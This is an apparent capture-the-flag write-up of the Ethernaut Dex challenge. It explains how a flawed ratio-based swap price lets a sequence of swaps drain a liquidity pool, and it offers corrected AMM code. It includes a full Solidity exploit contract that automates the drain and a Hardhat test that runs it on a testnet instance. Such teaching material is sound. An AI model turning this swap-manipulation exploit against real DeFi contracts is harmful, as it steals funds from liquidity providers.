Appearance
Exploiting a Constant Product AMM: A Deep Dive into the Ethernaut Dex Challenge
Introduction
Decentralized exchanges (DEXs) have revolutionized cryptocurrency trading by enabling peer-to-peer transactions without intermediaries. However, the security of these systems depends heavily on their mathematical foundations and implementation details. The Ethernaut Dex challenge presents a classic example of how seemingly sound mathematical models can be exploited when not properly implemented. This technical article explores the vulnerability in a simplified constant product automated market maker (AMM) and demonstrates how price manipulation can drain liquidity pools.
Understanding Automated Market Makers
The Constant Product Formula
Automated Market Makers (AMMs) use mathematical formulas to determine asset prices algorithmically rather than through order books. The most common model is the constant product formula, popularized by Uniswap:
x * y = k
Where:
x= Reserve of token Ay= Reserve of token Bk= Constant product
The price of token A in terms of token B is determined by the ratio of reserves: Price_A = y / x. This model ensures that as more of token A is purchased, its price increases relative to token B, creating a natural price discovery mechanism.
The Dex Contract Architecture
The provided Dex contract implements a simplified version of this model. Let's examine its key components:
solidity
contract Dex is Ownable {
address public token1;
address public token2;
function swap(address from, address to, uint256 amount) public {
require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens");
require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap");
uint256 swapAmount = getSwapPrice(from, to, amount);
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).approve(address(this), swapAmount);
IERC20(to).transferFrom(address(this), msg.sender, swapAmount);
}
function getSwapPrice(address from, address to, uint256 amount) public view returns (uint256) {
return ((amount * IERC20(to).balanceOf(address(this))) / IERC20(from).balanceOf(address(this)));
}
}
The critical vulnerability lies in the getSwapPrice function. Unlike proper constant product AMMs that maintain k as invariant, this implementation uses a simple ratio calculation that doesn't account for the changing reserves during the swap.
The Vulnerability: Price Calculation Flaw
Mathematical Analysis
In a proper constant product AMM, when swapping Δx of token X for token Y, the amount received Δy is calculated as:
Δy = y - (k / (x + Δx))
Where k = x * y remains constant.
However, the Dex contract calculates swap amounts as:
swapAmount = (amount * toTokenReserve) / fromTokenReserve
This creates a critical vulnerability: the calculation uses the current reserves without considering that the swap itself will change these reserves. After each swap, the reserves change, but the price calculation for subsequent swaps doesn't account for this until the transaction completes.
Step-by-Step Exploitation
Let's trace through the exploitation process mathematically:
Initial State:
- DEX reserves: 100 token1, 100 token2
- Attacker balance: 10 token1, 10 token2
- Constant product k = 100 * 100 = 10,000
Swap 1: Trade 10 token1 for token2
- According to Dex formula:
swapAmount = (10 * 100) / 100 = 10 token2 - New reserves: 110 token1, 90 token2
- Attacker balance: 0 token1, 20 token2
Swap 2: Trade 20 token2 for token1
- Calculation:
swapAmount = (20 * 110) / 90 = 24.44...(Solidity truncates to 24) - New reserves: 86 token1, 110 token2
- Attacker balance: 24 token1, 0 token2
Swap 3: Trade 24 token1 for token2
- Calculation:
swapAmount = (24 * 110) / 86 = 30.69...(truncates to 30) - New reserves: 110 token1, 80 token2
- Attacker balance: 0 token1, 30 token2
Swap 4: Trade 30 token2 for token1
- Calculation:
swapAmount = (30 * 110) / 80 = 41.25(truncates to 41) - New reserves: 69 token1, 110 token2
- Attacker balance: 41 token1, 0 token2
Swap 5: Trade 41 token1 for token2
- Calculation:
swapAmount = (41 * 110) / 69 = 65.36...(truncates to 65) - New reserves: 110 token1, 45 token2
- Attacker balance: 0 token1, 65 token2
Final Swap: Trade 45 token2 for token1
- Calculation:
swapAmount = (45 * 110) / 45 = 110 token1 - New reserves: 0 token1, 90 token2
The attacker successfully drains all token1 from the contract!
The Exploit Contract
The Hack contract automates this exploitation process:
solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IDex {
function token1() external view returns (address);
function token2() external view returns (address);
function swap(address from, address to, uint256 amount) external;
function getSwapPrice(address from, address to, uint256 amount) external view returns (uint256);
}
contract Hack {
IDex private immutable target;
IERC20 private immutable t1;
IERC20 private immutable t2;
constructor(address _target) {
target = IDex(_target);
t1 = IERC20(target.token1());
t2 = IERC20(target.token2());
}
function doHack() external {
// Transfer initial tokens to hacker contract
t1.transferFrom(msg.sender, address(this), 10);
t2.transferFrom(msg.sender, address(this), 10);
// Approve unlimited spending
t1.approve(address(target), type(uint).max);
t2.approve(address(target), type(uint).max);
// Execute the series of swaps
_swap(t1, t2); // Swap 1: 10 t1 → t2
_swap(t2, t1); // Swap 2: 20 t2 → t1
_swap(t1, t2); // Swap 3: 24 t1 → t2
_swap(t2, t1); // Swap 4: 30 t2 → t1
_swap(t1, t2); // Swap 5: 41 t1 → t2
// Final swap to drain remaining token1
target.swap(address(t2), address(t1), 45);
}
function _swap(IERC20 _in, IERC20 _out) private {
target.swap(address(_in), address(_out), _in.balanceOf(address(this)));
}
}
Key Implementation Details
Token Management: The contract accepts initial tokens from the deployer and manages approvals for the DEX contract.
Optimal Swap Sequencing: The contract performs swaps in the exact sequence that maximizes the exploitation of the price calculation flaw.
Balance-Based Swapping: Each swap uses the entire balance of the input token, which is optimal given the mathematical properties of the vulnerability.
Final Drain: The last swap specifically targets the remaining balance to completely drain one token from the pool.
Testing the Exploit
The provided test suite demonstrates the complete exploitation process:
typescript
import { ethers } from "hardhat";
import { expect } from "chai";
import { Dex, SwappableToken, Hack } from "../typechain-types";
describe("Dex", function () {
describe("Dex testnet online sepolia", function () {
it("testnet online sepolia Dex", async function () {
this.timeout(3 * 60 * 1000);
// Contract setup and initialization
const DEX_ADDRESS = "0x...";
const DexFactory = await ethers.getContractFactory("Dex");
const DEX_ABI = DexFactory.interface.format();
const challenger = await ethers.getNamedSigner("deployer");
const dexContract = new ethers.Contract(DEX_ADDRESS, DEX_ABI, challenger);
// Token contract setup
const T1_ADDRESS = await dexContract.token1();
const SwappableTokenFactory = await ethers.getContractFactory("SwappableToken");
const SWAPPABLETOKEN1_ABI = SwappableTokenFactory.interface.format();
const t1Contract = new ethers.Contract(T1_ADDRESS, SWAPPABLETOKEN1_ABI, challenger);
const T2_ADDRESS = await dexContract.token2();
const SWAPPABLETOKEN2_ABI = SwappableTokenFactory.interface.format();
const t2Contract = new ethers.Contract(T2_ADDRESS, SWAPPABLETOKEN2_ABI, challenger);
// Verify initial conditions
const deployerBalanceT1 = await t1Contract.balanceOf(challenger.address);
expect(deployerBalanceT1).to.be.equals(10);
const deployerBalanceT2 = await t2Contract.balanceOf(challenger.address);
expect(deployerBalanceT2).to.be.equals(10);
const dexBalanceT1 = await t1Contract.balanceOf(DEX_ADDRESS);
expect(dexBalanceT1).to.be.equals(100);
const dexBalanceT2 = await t2Contract.balanceOf(DEX_ADDRESS);
expect(dexBalanceT2).to.be.equals(100);
// Deploy and execute hack
const HackFactory = await ethers.getContractFactory("Hack");
const hack = (await HackFactory.deploy(DEX_ADDRESS)) as Hack;
await hack.waitForDeployment();
const HACK_ADDRESS = await hack.getAddress();
// Approve token transfers
const tx = await t1Contract.approve(HACK_ADDRESS, 10);
await tx.wait();
const tx1 = await t2Contract.approve(HACK_ADDRESS, 10);
await tx1.wait();
// Execute the hack
const tx2 = await hack.doHack();
await tx2.wait();
// Verify exploitation success
const dexBalanceT1_after = await t1Contract.balanceOf(DEX_ADDRESS);
expect(dexBalanceT1_after).to.be.equals(0);
});
});
});
Security Implications and Mitigations
The Root Cause
The fundamental issue is that the Dex contract doesn't implement a proper constant product invariant. Instead of calculating the output based on maintaining x * y = k, it uses a simple ratio that doesn't account for the changing reserves during the transaction.
Proper Implementation
A secure implementation should:
- Calculate output based on invariant preservation:
solidity
function getSwapAmount(address from, address to, uint256 amount) public view returns (uint256) {
uint256 fromReserve = IERC20(from).balanceOf(address(this));
uint256 toReserve = IERC20(to).balanceOf(address(this));
// Constant product formula
uint256 newFromReserve = fromReserve + amount;
uint256 newToReserve = (fromReserve * toReserve) / newFromReserve;
uint256 outputAmount = toReserve - newToReserve;
// Apply fee (typically 0.3%)
uint256 fee = (outputAmount * 3) / 1000;
return outputAmount - fee;
}
- Update reserves atomically:
solidity
function swap(address from, address to, uint256 amount) public {
// ... validation checks ...
uint256 outputAmount = getSwapAmount(from, to, amount);
// Update reserves before transfers
reserves[from] += amount;
reserves[to] -= outputAmount;
// Execute transfers
IERC20(from).transferFrom(msg.sender, address(this), amount);
IERC20(to).transfer(msg.sender, outputAmount);
}
- Implement slippage protection:
solidity
function swapWithSlippage(
address from,
address to,
uint256 amount,
uint256 minOutput
) public {
uint256 outputAmount = getSwapAmount(from, to, amount);
require(outputAmount >= minOutput, "Slippage too high");
// ... execute swap ...
}
Additional Security Considerations
Reentrancy Protection: Use checks-effects-interactions pattern or OpenZeppelin's ReentrancyGuard.
Flash Loan Considerations: In production DEXs, consider the impact of flash loans that could temporarily manipulate prices.
Oracle Integration: For more stable pricing, consider integrating with price oracles, though this introduces its own attack vectors.
Liquidity Provider Protection: Implement mechanisms to protect LPs from impermanent loss and manipulation attacks.
Real-World Implications
This vulnerability, while simplified for educational purposes, reflects real-world concerns in DeFi security:
Historical Incidents: Similar price manipulation attacks have occurred in production DeFi protocols, resulting in millions in losses.
Importance of Audits: This demonstrates why thorough security audits are essential for DeFi protocols.
Mathematical Rigor: Cryptographic and mathematical correctness is as important as code security in DeFi.
Testing Strategies: Comprehensive testing should include edge cases and economic attack vectors, not just functional testing.
Conclusion
The Ethernaut Dex challenge provides valuable insights into the security considerations of decentralized finance protocols. The exploitation demonstrates how seemingly minor implementation flaws in mathematical models can lead to complete fund drainage. This case study emphasizes several critical lessons:
- Mathematical correctness is paramount in financial smart contracts
- Simple ratio-based pricing is insufficient for AMM implementations
- Comprehensive testing must include economic attack vectors
- Security audits should review both code and underlying mathematical models
For developers building DeFi protocols, this challenge underscores the importance of:
- Implementing proven mathematical models correctly
- Conducting thorough security audits
- Implementing multiple layers of protection
- Continuously monitoring for novel attack vectors
The constant product AMM model, when implemented correctly with proper safeguards, has proven robust in production environments. However, as this challenge demonstrates, deviations from the mathematical foundation can have catastrophic consequences in the trustless world of decentralized finance.